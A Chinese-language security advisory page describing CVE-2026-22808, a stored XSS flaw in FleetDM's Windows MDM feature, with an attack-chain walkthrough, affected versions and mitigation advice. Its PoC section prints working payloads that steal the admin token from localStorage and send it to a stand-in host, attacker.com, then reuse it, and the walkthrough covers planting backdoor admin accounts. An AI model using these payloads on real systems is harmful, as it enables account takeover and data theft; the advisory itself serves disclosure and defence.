IPBUF安全漏洞报告
English
CVE-2026-22808 CVSS 5.4 中危

CVE-2026-22808 FleetDM Windows MDM XSS漏洞可窃取管理员认证令牌

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-22808
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
fleetdm/fleet

相关标签

XSS跨站脚本攻击存储型XSS会话劫持localStorage认证令牌窃取CVE-2026-22808fleetdmfleetMDM

漏洞概述

CVE-2026-22808是fleetdm/fleet开源设备管理软件中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响启用了Windows MDM功能的Fleet实例。在漏洞利用场景中,未认证的攻击者可以通过构造恶意Payload注入到受影响页面,当Fleet管理员访问该页面时,恶意脚本会从浏览器的localStorage中窃取存储的认证令牌(FLEET::auth_token)。攻击者获取该令牌后,可以冒充管理员身份访问Fleet系统,进而获得管理权限、查看设备数据、修改系统配置等高危操作。该漏洞CVSS评分5.4,属于中危漏洞,但考虑到可导致管理员账户被完全接管,实际危害程度较高。建议受影响用户尽快升级到修复版本或采取临时缓解措施。

技术细节

该漏洞为存储型XSS,存在于Fleet的Windows MDM功能模块中。攻击原理如下:攻击者首先识别Fleet中允许用户输入且未正确过滤或转义特殊字符的字段(如设备名称、配置项等)。通过在该字段注入恶意JavaScript代码<script>alert(document.domain)</script>或更复杂的Payload,当管理员访问包含该恶意内容的页面时,浏览器会执行注入的脚本。由于Fleet将管理员认证令牌(FLEET::auth_token)存储在localStorage中,且该令牌在API请求中被使用,攻击者可以通过document.cookie或localStorage.getItem('FLEET::auth_token')获取令牌。攻击者将令牌通过HTTP请求发送到其控制的服务器,从而实现会话劫持。成功利用后,攻击者可以在管理员不知情的情况下执行特权操作,包括添加新用户、修改策略、查看敏感设备信息等。漏洞的关键前提是目标Fleet实例必须启用Windows MDM功能。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Fleet实例是否启用Windows MDM功能,并找到可注入XSS Payload的输入点(如设备名称、MDM配置字段等)
STEP 2
步骤2: Payload注入
攻击者通过API或Web界面将恶意JavaScript代码注入到未过滤的字段中,Payload设计为从localStorage读取FLEET::auth_token并发送到攻击者服务器
STEP 3
步骤3: 等待管理员触发
存储型XSS Payload被永久保存在数据库中,当Fleet管理员访问相关页面(如设备列表、MDM配置页面)时,恶意脚本在管理员浏览器中执行
STEP 4
步骤4: Token窃取
恶意脚本执行localStorage.getItem('FLEET::auth_token')获取管理员认证令牌,并通过fetch或Image对象将令牌发送到攻击者控制的服务器
STEP 5
步骤5: 会话劫持
攻击者获取令牌后,使用该令牌构造API请求,以管理员身份访问Fleet系统,执行特权操作如查看敏感数据、修改配置、添加后门账户等
STEP 6
步骤6: 持久化控制
攻击者可在系统中创建新管理员账户或植入后门,实现长期持续访问,即使原管理员修改密码后仍可保持控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22808 PoC - XSS to steal FLEET::auth_token from localStorage // Target: Fleet instances with Windows MDM enabled // Malicious Payload (inject into vulnerable field) const xssPayload = ` <script> // Steal FLEET::auth_token from localStorage const token = localStorage.getItem('FLEET::auth_token'); if (token) { // Send token to attacker-controlled server fetch('https://attacker.com/exfil?token=' + encodeURIComponent(token) + '&cookie=' + document.cookie, { mode: 'no-cors' }); } </script> `; // Alternative inline payload const inlinePayload = ` <img src=x onerror=" const token = localStorage.getItem('FLEET::auth_token'); fetch('https://attacker.com/log?data=' + btoa(token)); "> `; // Step 1: Inject payload via API or UI field // POST /api/v1/fleet/devices (or similar vulnerable endpoint) const injectRequest = { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <attacker_token>' }, body: JSON.stringify({ hostname: '<script>...steal token...</script>', platform: 'windows', mdminfo: '<img src=x onerror=...>' }) }; // Step 2: Wait for admin to visit affected page // The injected script will execute and exfiltrate the token // Step 3: Use stolen token for unauthorized access const hijackRequest = { method: 'GET', headers: { 'Authorization': 'Bearer <STOLEN_TOKEN>' }, url: 'https://fleet.example.com/api/v1/fleet/admin/users' }; console.log('[+] Payload ready for injection'); console.log('[+] Target: Fleet with Windows MDM enabled'); console.log('[+] Objective: Steal FLEET::auth_token from localStorage');

影响范围

fleetdm/fleet < 4.53.3
fleetdm/fleet < 4.75.2
fleetdm/fleet < 4.76.2
fleetdm/fleet < 4.77.1
fleetdm/fleet < 4.78.2

防御指南

临时缓解措施
如果无法立即升级到修复版本,受影响的Fleet用户应立即临时禁用Windows MDM功能。具体操作步骤:登录Fleet管理后台,进入Settings > MDM功能设置,将Windows MDM选项关闭。同时建议监控系统日志,排查是否存在异常的API请求或管理员账户异常行为。在完成升级前,建议限制对Fleet管理界面的访问,仅允许受信任的IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表